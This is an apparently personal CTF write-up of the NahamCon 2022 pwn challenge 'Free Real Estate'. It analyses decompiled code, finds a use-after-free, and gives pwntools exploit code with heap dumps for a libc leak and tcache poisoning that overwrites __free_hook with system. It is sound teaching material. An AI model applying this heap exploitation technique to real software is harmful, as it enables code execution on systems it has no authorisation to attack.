Contents

NahamCon CTF 2022

https://i.imgur.com/KrqEvMN.png

I tried to spend my saturday to do the NahamCon CTF 2022, but I had a lot of events during the day, so I plan to look at 3-5 problems. At the end, I could only solve one problem that I looked first, because it turns out to be pretty hard for me. I’m still new to this, so I would like to apologize in advance if there is wrong or misleading information stated in here. Feel free to contact me if you find mistakes in my writeup. Cheers 🍻

Pwn

Free Real Estate

Intro

We were given two files, the Dockerfile and a binary called free_real_estate. Let’s try to run the binary first.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
./free_real_estate
Enter your name: lmao
Hello: lmao!

[1] Show property
[2] Add property
[3] Remove property
[4] Edit property
[5] Change name
[6] Exit

>

Seems like we will be working with heap (Well, the name of the challenge is free though)

Initial Analysis

Let’s grab the libc file first by turning up the docker based on the given Dockerfile. Checking on the libc file, the glibc is glibc-2.31, which mean we couldn’t do double free.

Checksec of the binary:

1
2
3
4
5
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Now, turning up our decompiler, let’s try to decompile it and breakdown some important functions.

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
undefined8 main(void)

{
  bool bVar1;
  char *pcVar2;
  undefined4 uVar3;
  size_t sVar4;

  bVar1 = false;
  setbuf(stdin,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  printf("Enter your name: ");
  username._8_8_ = getline((char **)username,(size_t *)(username + 8),stdin);
  pcVar2 = username._0_8_;
  sVar4 = strcspn(username._0_8_,"\n");
  pcVar2[sVar4] = '\0';
  username._8_8_ = username._8_8_ + -1;
  printf("Hello: %s!\n\n",username._0_8_);
  while (!bVar1) {
    uVar3 = menu();
    switch(uVar3) {
    case 0:
      if (property == 0) {
        puts("You do not own any property.");
      }
      else {
        show_property();
      }
      break;
    case 1:
      if (property == 0) {
        add_property();
      }
      else {
        puts("You already own property.");
      }
      break;
    case 2:
      if (property == 0) {
        puts("You do not own any property.");
      }
      else {
        remove_property();
      }
      break;
    case 3:
      if (property == 0) {
        puts("You do not own any property.");
      }
      else {
        edit_property();
      }
      break;
    case 4:
      change_name();
      break;
    default:
      bVar1 = true;
    }
    puts("");
  }
  return 0;
}

Okay, so we have like 5 functions that we can use, and we can only add property only after removing it.

add_property

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
void add_property(void)

{
  long lVar1;
  void *pvVar2;
  size_t sVar3;
  long in_FS_OFFSET;
  char local_21;
  long local_20;
  void *_property;

  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  local_21 = '\0';
  property = malloc(0x40);
  if (property == (void *)0x0) {
    puts("Failed to allocate memory for the property");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  printf("Enter the house number: ");
  __isoc99_scanf(&fmt_d,(long)property + 0x18);
  getchar();
  printf("What is the length of the street name: ");
  __isoc99_scanf(&fmt_zu);
  getchar();
  _property = property;
  pvVar2 = malloc(*(long *)((long)property + 0x28) + 1);
  *(void **)((long)_property + 0x20) = pvVar2;
  if (*(long *)((long)property + 0x20) == 0) {
    puts("Failed to allocate memory for the street name");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  printf("Enter the street name: ");
  fgets(*(char **)((long)property + 0x20),(int)*(undefined8 *)((long)property + 0x28),stdin);
  lVar1 = *(long *)((long)property + 0x20);
  sVar3 = strcspn(*(char **)((long)property + 0x20),"\n");
  *(undefined *)(sVar3 + lVar1) = 0;
  printf("What is the price of the property?: ");
  __isoc99_scanf(&fmt_lf,(long)property + 0x10);
  getchar();
  printf("Would you like to add a comment for this property? [y/n]: ");
  __isoc99_scanf(&DAT_00102133,&local_21);
  getchar();
  if (local_21 == 'y') {
    printf("What is the length of the comment?: ");
    __isoc99_scanf(&fmt_zu);
    getchar();
    _property = property;
    pvVar2 = malloc(*(long *)((long)property + 0x38) + 1);
    *(void **)((long)_property + 0x30) = pvVar2;
    if (*(long *)((long)property + 0x30) == 0) {
      puts("Failed to allocate memory for the comment");
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    printf("Enter the comment: ");
    fgets(*(char **)((long)property + 0x30),(int)*(undefined8 *)((long)property + 0x38),stdin);
    lVar1 = *(long *)((long)property + 0x30);
    sVar3 = strcspn(*(char **)((long)property + 0x30),"\n");
    *(undefined *)(sVar3 + lVar1) = 0;
  }
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Okay, so when we add a new property, important things that we do:

  • malloc(0x40) for property object
  • We can malloc street name with any size
    • And we store the given size inside the property object
  • We can malloc comment with any size
    • And we store the given size inside the property object

edit_property

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
void edit_property(void)

{
  void *pvVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  char local_29;
  ulong input_size;
  long local_20;
  long _property;

  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  local_29 = 'n';
  input_size = 0;
  printf("Would you like to change the house number? [y/n]: ");
  __isoc99_scanf(&DAT_00102133,&local_29);
  getchar();
  if (local_29 == 'y') {
    printf("Enter the new house number: ");
    __isoc99_scanf(&fmt_d,property + 0x18);
    getchar();
    local_29 = 'n';
  }
  printf("Would you like to change the street? [y/n]: ");
  __isoc99_scanf(&DAT_00102133,&local_29);
  getchar();
  if (local_29 == 'y') {
    printf("Enter the new street name length: ");
    __isoc99_scanf(&fmt_zu);
    getchar();
    if (*(ulong *)(property + 0x28) < input_size) {
      free(*(void **)(property + 0x20));
      _property = property;
      pvVar1 = malloc(input_size + 1);
      *(void **)(_property + 0x20) = pvVar1;
      if (*(long *)(property + 0x20) == 0) {
        puts("Failed to allocate memory for the street name");
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
    }
    *(ulong *)(property + 0x28) = input_size;
    printf("Enter the new street name: ");
    fgets(*(char **)(property + 0x20),(int)*(undefined8 *)(property + 0x28),stdin);
    _property = *(long *)(property + 0x20);
    sVar2 = strcspn(*(char **)(property + 0x20),"\n");
    *(undefined *)(sVar2 + _property) = 0;
    local_29 = 'n';
  }
  printf("Would you like to change the price of the property? [y/n]: ");
  __isoc99_scanf(&DAT_00102133,&local_29);
  getchar();
  if (local_29 == 'y') {
    printf("What is the new price of the property?: ");
    __isoc99_scanf(&fmt_lf,property + 0x10);
    getchar();
    local_29 = 'n';
  }
  if (*(long *)(property + 0x30) == 0) {
    printf("Would you like to add a comment? [y/n]: ");
    __isoc99_scanf(&DAT_00102133,&local_29);
    getchar();
    if (local_29 == 'y') {
      printf("What is the length of the comment?: ");
      __isoc99_scanf(&fmt_zu);
      getchar();
      _property = property;
      pvVar1 = malloc(*(long *)(property + 0x38) + 1);
      *(void **)(_property + 0x30) = pvVar1;
      if (*(long *)(property + 0x30) == 0) {
        puts("Failed to allocate memory for the comment");
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      printf("Enter the comment: ");
      fgets(*(char **)(property + 0x30),(int)*(undefined8 *)(property + 0x38),stdin);
      _property = *(long *)(property + 0x30);
      sVar2 = strcspn(*(char **)(property + 0x30),"\n");
      *(undefined *)(sVar2 + _property) = 0;
    }
  }
  else {
    printf("Would you like to change the comment? [y/n]: ");
    __isoc99_scanf(&DAT_00102133,&local_29);
    getchar();
    if (local_29 == 'y') {
      printf("Enter the new comment length: ");
      __isoc99_scanf(&fmt_zu);
      getchar();
      if (*(ulong *)(property + 0x38) < input_size) {
        free(*(void **)(property + 0x30));
        _property = property;
        pvVar1 = malloc(input_size + 1);
        *(void **)(_property + 0x30) = pvVar1;
        if (*(long *)(property + 0x30) == 0) {
          puts("Failed to allocate memroy for the comment");
                    /* WARNING: Subroutine does not return */
          exit(1);
        }
      }
      *(ulong *)(property + 0x38) = input_size;
      printf("Enter the new comment: ");
      fgets(*(char **)(property + 0x30),(int)*(undefined8 *)(property + 0x38),stdin);
      _property = *(long *)(property + 0x30);
      sVar2 = strcspn(*(char **)(property + 0x30),"\n");
      *(undefined *)(sVar2 + _property) = 0;
    }
  }
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Okay, so what it do is:

  • We can change all the metadata of property, with rules:
    • If the new size is smaller than the stored size, it will:
      • Directly replace the metadata values
      • Store the new size inside property object
    • If the new size is larger, it will:
      • Free the chunk
      • Alloc new chunk with new size
      • Store the new size inside property object

show_property

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
void show_property(void)

{
  puts("Your property info:\n");
  printf("House number: %d\n",(ulong)*(uint *)(property + 0x18));
  printf("Street name: %s\n",*(undefined8 *)(property + 0x20));
  printf(*(char **)(property + 0x10),"Price: $%0.2f\n");
  if ((*(long *)(property + 0x38) == 0) || (*(long *)(property + 0x30) == 0)) {
    puts("No comment for the property.");
  }
  else {
    printf("Comment: %s\n",*(undefined8 *)(property + 0x30));
  }
  return;
}

It just prints the property object metadata values

change_username

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 change_name()
{
  char *v0; // rbx
  size_t v2; // [rsp-28h] [rbp-28h]
  unsigned __int64 v3; // [rsp-20h] [rbp-20h]

  __asm { endbr64 }
  v3 = __readfsqword(0x28u);
  v2 = 0LL;
  printf("What is the length of your new name?: ", 0LL);
  __isoc99_scanf("%zu", &v2);
  getchar();
  if ( n < v2 )
  {
    free(username);
    username = (char *)malloc(v2 + 1);
    if ( !username )
    {
      puts("Failed to allocate memory");
      exit(1);
    }
  }
  n = v2;
  printf("Enter your new name: ");
  fgets(username, n, stdin);
  v0 = username;
  v0[strcspn(username, "\n")] = 0;
  return __readfsqword(0x28u) ^ v3;
}

Similar to edit, it will check:

  • If the new size is smaller than the stored size, it will:
    • Directly replace the username values
    • Store the new size inside username object
  • If the new size is larger, it will:
    • Free the chunk
    • Alloc new chunk with new size
    • Store the new size inside username object

remove_property

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
void remove_property(void)

{
  if (*(long *)((long)property + 0x30) != 0) {
    free(*(void **)((long)property + 0x30));
  }
  if (*(long *)((long)property + 0x20) != 0) {
    free(*(void **)((long)property + 0x20));
    *(undefined8 *)((long)property + 0x20) = 0;
  }
  free(property);
  property = (void *)0x0;
  return;
}

Wow, there is a bug on this method. What it do is basically:

  • free(comment)
    • and NOT nulled it
  • free(street)
    • and nulled it
  • free(property)
    • and nulled it

After reading all of those decompilations, we can notice a bug where the comment is not nulled after being freed. This means, if we:

  • add property with comment
  • remove property
  • add property without comment

The latest property will still have comment (because property still located in the same address due to cache), and its comment still points to the freed chunk. What if we do edit_property on it? Basically we can forge the chunk metadata

Exploitation Plan

Okay, so important points that we can conclude from our initial analysis:

  • We can malloc chunk with any size
    • Hence, we can freed a chunk to unsorted bin by malloc large chunk
  • There is Use-After-Free (UAF) bug on the comment, where we can see the freed chunk, and edit it via edit_property

Seems like the rough plan is pretty clear. We can leak libc address by leveraging the UAF bug in the comment objectt. And then we need to be able to overwrite __free_hook by system to trigger a shell.

Solution

Okay, so now I will explain my solution on this challenge. Let’s define helper in our script first to help our life easier.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
def add_property(r, lsn, sn, lc, comment=''):
    r.sendlineafter(b'> ', b'2')
    r.sendlineafter(b'Enter the house number: ', str(10).encode()) # Isn't useful. Just set any value.
    r.sendlineafter(b'What is the length of the street name: ', str(lsn).encode())
    r.sendlineafter(b'Enter the street name: ', sn)
    r.sendlineafter(b'What is the price of the property?: ', str(10).encode()) # Isn't useful. Just set any value.
    if lc == 0:
        r.sendlineafter(b'Would you like to add a comment for this property? [y/n]: ', b'n')
    else:
        r.sendlineafter(b'Would you like to add a comment for this property? [y/n]: ', b'y')
        r.sendlineafter(b'What is the length of the comment?: ', str(lc).encode())
        r.sendlineafter(b'Enter the comment: ', comment)

def edit_property(r, lsn, sn, lc, comment='', change_comment=False, is_free_hook_overwritted=False):
    r.sendlineafter(b'> ', b'4')
    r.sendlineafter(b'Would you like to change the house number? [y/n]: ', b'n') # Isn't useful. No need to edit.
    if lsn == 0:
        r.sendlineafter(b'Would you like to change the street? [y/n]: ', b'n')
    else:
        r.sendlineafter(b'Would you like to change the street? [y/n]: ', b'y')
        r.sendlineafter(b'Enter the new street name length: ', str(lsn).encode())
        r.sendlineafter(b'Enter the new street name: ', sn)
    r.sendlineafter(b'Would you like to change the price of the property? [y/n]: ', b'n') # Isn't useful. No need to edit.
    if lc == 0:
        r.sendlineafter(b'Would you like to change the comment? [y/n]: ', b'n')
    else:
        if not change_comment:
            r.sendlineafter(b'Would you like to add a comment for this property? [y/n]: ', b'y')
            r.sendlineafter(b'What is the length of the comment?: ', str(lc).encode())
            r.sendlineafter(b'Enter the comment: ', comment)
        else:
            r.sendlineafter(b'Would you like to change the comment? [y/n]: ', b'y')
            r.sendlineafter(b'Enter the new comment length: ', str(lc).encode())
            if is_free_hook_overwritted:
                # No need to enter new comment, as we have overwritten it with system
                return
            r.sendlineafter(b'Enter the new comment: ', comment)

def remove_property(r):
    r.sendlineafter(b'> ', b'3')

def show_property(r):
    r.sendlineafter(b'> ', b'1')
    r.recvline().strip()
    r.recvline().strip()
    r.recvline().strip()
    r.recvline().strip()
    r.recvline().strip()
    comment = r.recvline().strip().split(b': ')[1] # We only care the comment value
    return comment

def change_username(r, ln, name):
    r.sendlineafter(b'> ', b'5')
    r.sendlineafter(b'What is the length of your new name?: ', str(ln).encode())
    r.sendlineafter(b'Enter your new name: ', name)

Part 1: Leak Libc Address

Okay, so now let’s try to fire up our GDB to have a better visualization on the heap. Let’s start the program by initializing our name

1
2
3
4
5
r = conn()

# After first connection, by default the binary will call malloc(0x40)
# and use this heap chunk for property variable
r.sendlineafter(b'Enter your name: ', p64(0xdeadbeef))

Below is the heap after we initialize our name

1
2
3
4
5
6
7
8
9
0x55802d04d290	0x0000000000000000	0x0000000000000081	................
0x55802d04d2a0	0x00000000deadbeef	0x000000000000000a	................
0x55802d04d2b0	0x0000000000000000	0x0000000000000000	................
0x55802d04d2c0	0x0000000000000000	0x0000000000000000	................
0x55802d04d2d0	0x0000000000000000	0x0000000000000000	................
0x55802d04d2e0	0x0000000000000000	0x0000000000000000	................
0x55802d04d2f0	0x0000000000000000	0x0000000000000000	................
0x55802d04d300	0x0000000000000000	0x0000000000000000	................
0x55802d04d310	0x0000000000000000	0x0000000000020cf1	................	 <-- Top chunk

Now, we need to free a chunk to unsorted bin. Simply malloc a large chunk and free it.

1
2
3
add_property(r, 0x10, b'lmao', 0x427, b'lmao')
edit_property(r, 0x20, b'lmao', 0)
remove_property(r)

What we want to achieve on here is:

  • Create a large chunk in comment
  • Alloc a new chunk below it to prevent consolidation
  • Freed all the object

After freed all the object, we will have:

  • 1 chunk inside unsorted_bin (comment)
  • 1 chunk inside tcache[0x20] (added street)
  • 1 chunk inside tcache[0x30] (edited street)
  • 1 chunk inside tcache[0x50] (property)

Below is the current heap and bins:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
0x55802d04d290	0x0000000000000000	0x0000000000000081
0x55802d04d2a0	0x00000000deadbeef	0x000000000000000a
0x55802d04d2b0	0x0000000000000000	0x0000000000000000
0x55802d04d2c0	0x0000000000000000	0x0000000000000000
0x55802d04d2d0	0x0000000000000000	0x0000000000000000
0x55802d04d2e0	0x0000000000000000	0x0000000000000000
0x55802d04d2f0	0x0000000000000000	0x0000000000000000
0x55802d04d300	0x0000000000000000	0x0000000000000000
0x55802d04d310	0x0000000000000000	0x0000000000000051
0x55802d04d320	0x0000000000000000	0x000055802d04d010	 <-- tcachebins[0x50][0/1]
0x55802d04d330	0x4024000000000000	0x000000000000000a
0x55802d04d340	0x0000000000000000	0x0000000000000020
0x55802d04d350	0x000055802d04d390	0x0000000000000427
0x55802d04d360	0x0000000000000000	0x0000000000000021
0x55802d04d370	0x0000000000000000	0x000055802d04d010	 <-- tcachebins[0x20][0/1]
0x55802d04d380	0x0000000000000000	0x0000000000000431	 <-- unsortedbin[all][0]
0x55802d04d390	0x00007fe1975bfbe0	0x00007fe1975bfbe0
...
0x55802d04d7b0	0x0000000000000430	0x0000000000000030
0x55802d04d7c0	0x0000000000000000	0x000055802d04d010	 <-- tcachebins[0x30][0/1]
0x55802d04d7d0	0x0000000000000000	0x0000000000000000
0x55802d04d7e0	0x0000000000000000	0x0000000000020821	 <-- Top chunk

It’s time to leak the libc address.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
add_property(r, 0x10, b'lmao', 0)
leaked_libc = u64(show_property(r).ljust(8, b'\x00'))
log.info(f'leaked_libc: {hex(leaked_libc)}')
libc_base = leaked_libc - main_arena - 0x60
log.info(f'libc_base: {hex(libc_base)}')
libc.address = libc_base
free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']
log.info(f'__free_hook@libc: {hex(free_hook)}')
log.info(f'system@libc: {hex(system)}')

We simply create a new property without comment, and call show_property. I use 0x10 for the street size in order to make sure that the malloc call is used the available tcache (tcache[0x20]) instead of consuming our unsorted bin chunk. See below heap after we add the new property:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
0x55802d04d310	0x0000000000000000	0x0000000000000051
0x55802d04d320	0x0000000000000000	0x0000000000000000
0x55802d04d330	0x4024000000000000	0x000000000000000a
0x55802d04d340	0x000055802d04d370	0x0000000000000010
0x55802d04d350	0x000055802d04d390	0x0000000000000427
0x55802d04d360	0x0000000000000000	0x0000000000000021
0x55802d04d370	0x000000006f616d6c	0x0000000000000000
0x55802d04d380	0x0000000000000000	0x0000000000000431	 <-- unsortedbin[all][0]
0x55802d04d390	0x00007fe1975bfbe0	0x00007fe1975bfbe0
... <-- comment is pointing to this
0x55802d04d7b0	0x0000000000000430	0x0000000000000030
0x55802d04d7c0	0x0000000000000000	0x000055802d04d010	 <-- tcachebins[0x30][0/1]
0x55802d04d7d0	0x0000000000000000	0x0000000000000000
0x55802d04d7e0	0x0000000000000000	0x0000000000020821	 <-- Top chunk

You can see that comment is pointing to 0x55802d04d390, and then because comment is now a freed chunk inside unsorted bin, and its point to the libc main_arena+0x60, we will be able to retrieve the libc address of the current program.

Part 2: Overwrite __free_hook

Moving on to the next step, we will try to overwrite the __free_hook with system. We need to clean up our property first. To prevent double free happen during remove_property, we need to make the comment object is not a freed chunk. I use change_username to fill up the comment object.

1
2
change_username(r, 0x427, b'lmao')
remove_property(r)

Basically, now the username object and the comment object points to the same address. This is very good for us, because both of them are now pointing to the same freed chunk of unsorted bin. Remember that, if we call change_username with smaller STORED size (which is 0x427+1 in this case), the method will directly replace the values without doing free & malloc. Due to how the glibc works, now, if we try to allocate chunk with rules:

  • Size is smaller than unsorted bin
  • No available tcache with the desired allocated size

It will used the unsorted bin by allocating it in the top of the unsorted bin chunk, and reduce its size. See below illustration

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
Let say we have heap like below
0x557b64aef380 0x0000000000000000 0x0000000000000431 <-- unsortedbin[all][0]
0x557b64aef390 0x0000000000000000 0x0000000000000000
0x557b64aef3a0 0x0000000000000000 0x0000000000000000
0x557b64aef3b0 0x0000000000000000 0x0000000000000000
0x557b64aef3c0 0x0000000000000000 0x0000000000000000
0x557b64aef3d0 0x0000000000000000 0x0000000000000000
...

If tcache[0x20] is empty, and we want to allocate 0x20 chunk, it will use the top chunk of the unsorted bin.
0x557b64aef380 0x0000000000000000 0x0000000000000021 <-- new allocated chunk
0x557b64aef390 0x0000000000000000 0x0000000000000000
0x557b64aef3a0 0x0000000000000000 0x0000000000000411 <-- unsortedbin[all][0]
0x557b64aef3b0 0x0000000000000000 0x0000000000000000
0x557b64aef3c0 0x0000000000000000 0x0000000000000000
0x557b64aef3d0 0x0000000000000000 0x0000000000000000
...

Now, we know that username address is actually pointing to the top of the old unsorted bin chunk (0x431 size), and then after lot of allocations, the username will still points to the same address. And the stored username size is still the same (0x427+1). Due to the fact that change_username method allow us to directly replace the value if the given size is smaller than the stored size, we are basically able to forge the chunk metadata which allocated between username_address and username_address + 0x427

Now, let’s try to implement that

1
2
add_property(r, 0x89, b'lmao', 0x20, b'lmao')
remove_property(r)

After those code, username and comment won’t point to the same. Current heap state:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
0x55802d04d310	0x0000000000000000	0x0000000000000051   <-- property
0x55802d04d320	0x0000000000000000	0x000055802d04d010	 <-- tcachebins[0x50][0/1]
0x55802d04d330	0x4024000000000000	0x000000000000000a
0x55802d04d340	0x0000000000000000	0x0000000000000089
0x55802d04d350	0x000055802d04d7c0	0x0000000000000020
0x55802d04d360	0x0000000000000000	0x0000000000000021
0x55802d04d370	0x0000000000000000	0x000055802d04d010	 <-- tcachebins[0x20][0/1]
0x55802d04d380	0x0000000000000000	0x00000000000000a1
0x55802d04d390	0x0000000000000000	0x000055802d04d010	 <-- tcachebins[0xa0][0/1], username
0x55802d04d3a0	0x000055802d04d380	0x000055802d04d380
0x55802d04d3b0	0x0000000000000000	0x0000000000000000
0x55802d04d3c0	0x0000000000000000	0x0000000000000000
0x55802d04d3d0	0x0000000000000000	0x0000000000000000
0x55802d04d3e0	0x0000000000000000	0x0000000000000000
0x55802d04d3f0	0x0000000000000000	0x0000000000000000
0x55802d04d400	0x0000000000000000	0x0000000000000000
0x55802d04d410	0x0000000000000000	0x0000000000000000
0x55802d04d420	0x0000000000000000	0x0000000000000391	 <-- unsortedbin[all][0]
0x55802d04d430	0x00007fe1975bfbe0	0x00007fe1975bfbe0
...
0x55802d04d7b0	0x0000000000000390	0x0000000000000030
0x55802d04d7c0	0x0000000000000000	0x000055802d04d010	 <-- tcachebins[0x30][0/1], comment
0x55802d04d7d0	0x0000000000000000	0x0000000000000000
0x55802d04d7e0	0x0000000000000000	0x0000000000020821	 <-- Top chunk

Notes that username still points to 0x55802d04d390, and now comment points to 0x55802d04d7c0.

Notice that due to the freed comment chunk is not nulled by remove_property, not only we can leak the freed chunk content, we can also overwrite it via edit_property.

So we plan to overwrite the __free_hook via edit_property on the comment. I plan to forge tcache[0x60] linked list (because we don’t have any tcache[0x60] yet, so when we allocate it, it will still consume our unsorted bin chunk), to point it to the __free_hook. Let’s try to do that.

1
2
3
add_property(r, 0x49, b'lmao', 0x49, b'lmao')
edit_property(r, 0x59, b'lmao', 0)
remove_property(r)

Basically, what we do here is we try to allocate two chunk with 0x60 size (street and comment). We want our comment chunk got freed in the last due to the fact that tcache is LIFO (Last-In-First-Out). So, in order to do that, use edit_property to free the street 0x60 chunk, and then call remove_property to free the comment 0x60 chunk. Current heap state:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
0x55802d04d310	0x0000000000000000	0x0000000000000051
0x55802d04d320	0x0000000000000000	0x000055802d04d010	 <-- tcachebins[0x50][0/1]
0x55802d04d330	0x4024000000000000	0x000000000000000a
0x55802d04d340	0x0000000000000000	0x0000000000000059
0x55802d04d350	0x000055802d04d490	0x0000000000000049
0x55802d04d360	0x0000000000000000	0x0000000000000021
0x55802d04d370	0x0000000000000000	0x000055802d04d010	 <-- tcachebins[0x20][0/1]
0x55802d04d380	0x0000000000000000	0x00000000000000a1
0x55802d04d390	0x0000000000000000	0x000055802d04d010	 <-- tcachebins[0xa0][0/1]
0x55802d04d3a0	0x000055802d04d380	0x000055802d04d380
0x55802d04d3b0	0x0000000000000000	0x0000000000000000
0x55802d04d3c0	0x0000000000000000	0x0000000000000000
0x55802d04d3d0	0x0000000000000000	0x0000000000000000
0x55802d04d3e0	0x0000000000000000	0x0000000000000000
0x55802d04d3f0	0x0000000000000000	0x0000000000000000
0x55802d04d400	0x0000000000000000	0x0000000000000000
0x55802d04d410	0x0000000000000000	0x0000000000000000
0x55802d04d420	0x0000000000000000	0x0000000000000061
0x55802d04d430	0x0000000000000000	0x000055802d04d010	 <-- tcachebins[0x60][1/2]
0x55802d04d440	0x0000000000000000	0x0000000000000000
0x55802d04d450	0x0000000000000000	0x0000000000000000
0x55802d04d460	0x0000000000000000	0x0000000000000000
0x55802d04d470	0x0000000000000000	0x0000000000000000
0x55802d04d480	0x0000000000000000	0x0000000000000061
0x55802d04d490	0x000055802d04d430	0x000055802d04d010	 <-- tcachebins[0x60][0/2]
0x55802d04d4a0	0x0000000000000000	0x0000000000000000
0x55802d04d4b0	0x0000000000000000	0x0000000000000000
0x55802d04d4c0	0x0000000000000000	0x0000000000000000
0x55802d04d4d0	0x0000000000000000	0x0000000000000000
0x55802d04d4e0	0x0000000000000000	0x0000000000000071
0x55802d04d4f0	0x0000000000000000	0x000055802d04d010	 <-- tcachebins[0x70][0/1]
0x55802d04d500	0x0000000000000000	0x0000000000000000
0x55802d04d510	0x0000000000000000	0x0000000000000000
0x55802d04d520	0x0000000000000000	0x0000000000000000
0x55802d04d530	0x0000000000000000	0x0000000000000000
0x55802d04d540	0x0000000000000000	0x0000000000000000
0x55802d04d550	0x0000000000000000	0x0000000000000261	 <-- unsortedbin[all][0]
0x55802d04d560	0x00007fe1975bfbe0	0x00007fe1975bfbe0
...
0x55802d04d7b0	0x0000000000000260	0x0000000000000030
0x55802d04d7c0	0x0000000000000000	0x000055802d04d010	 <-- tcachebins[0x30][0/1]
0x55802d04d7d0	0x0000000000000000	0x0000000000000000
0x55802d04d7e0	0x0000000000000000	0x0000000000020821	 <-- Top chunk

Notice that our comment will determine the next tcache[0x60] pointer. Current bins:

1
2
tcachebins
0x60 [  2]: 0x55802d04d490 —▸ 0x55802d04d430 ◂— 0x0

It’s time to forge the tcache[0x60] linked list

1
2
add_property(r, 0x20, b'lmao', 0)
edit_property(r, 0, b'lmao', 0x20, p64(free_hook), True)

What we do here is create a new property without comment, and then overwrite the value with the __free_hook address. Assign smaller size than the stored size of comment (0x49) to make sure that the edit_property directly edit the comment value. Now, the bins will be like below:

1
2
tcachebins
0x60 [  2]: 0x55802d04d490 —▸ 0x7fe1975c1e48 (__free_hook) ◂— 0x0

Current heap:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
0x55802d04d310	0x0000000000000000	0x0000000000000051
0x55802d04d320	0x0000000000000000	0x0000000000000000
0x55802d04d330	0x4024000000000000	0x000000000000000a
0x55802d04d340	0x000055802d04d7c0	0x0000000000000020
0x55802d04d350	0x000055802d04d490	0x0000000000000020
0x55802d04d360	0x0000000000000000	0x0000000000000021
0x55802d04d370	0x0000000000000000	0x000055802d04d010	 <-- tcachebins[0x20][0/1]
0x55802d04d380	0x0000000000000000	0x00000000000000a1
0x55802d04d390	0x0000000000000000	0x000055802d04d010	 <-- tcachebins[0xa0][0/1]
0x55802d04d3a0	0x000055802d04d380	0x000055802d04d380
0x55802d04d3b0	0x0000000000000000	0x0000000000000000
0x55802d04d3c0	0x0000000000000000	0x0000000000000000
0x55802d04d3d0	0x0000000000000000	0x0000000000000000
0x55802d04d3e0	0x0000000000000000	0x0000000000000000
0x55802d04d3f0	0x0000000000000000	0x0000000000000000
0x55802d04d400	0x0000000000000000	0x0000000000000000
0x55802d04d410	0x0000000000000000	0x0000000000000000
0x55802d04d420	0x0000000000000000	0x0000000000000061
0x55802d04d430	0x0000000000000000	0x000055802d04d010
0x55802d04d440	0x0000000000000000	0x0000000000000000
0x55802d04d450	0x0000000000000000	0x0000000000000000
0x55802d04d460	0x0000000000000000	0x0000000000000000
0x55802d04d470	0x0000000000000000	0x0000000000000000
0x55802d04d480	0x0000000000000000	0x0000000000000061
0x55802d04d490	0x00007fe1975c1e48	0x000055802d04000a	 <-- tcachebins[0x60][0/2]
0x55802d04d4a0	0x0000000000000000	0x0000000000000000
0x55802d04d4b0	0x0000000000000000	0x0000000000000000
0x55802d04d4c0	0x0000000000000000	0x0000000000000000
0x55802d04d4d0	0x0000000000000000	0x0000000000000000
0x55802d04d4e0	0x0000000000000000	0x0000000000000071
0x55802d04d4f0	0x0000000000000000	0x000055802d04d010	 <-- tcachebins[0x70][0/1]
0x55802d04d500	0x0000000000000000	0x0000000000000000
0x55802d04d510	0x0000000000000000	0x0000000000000000
0x55802d04d520	0x0000000000000000	0x0000000000000000
0x55802d04d530	0x0000000000000000	0x0000000000000000
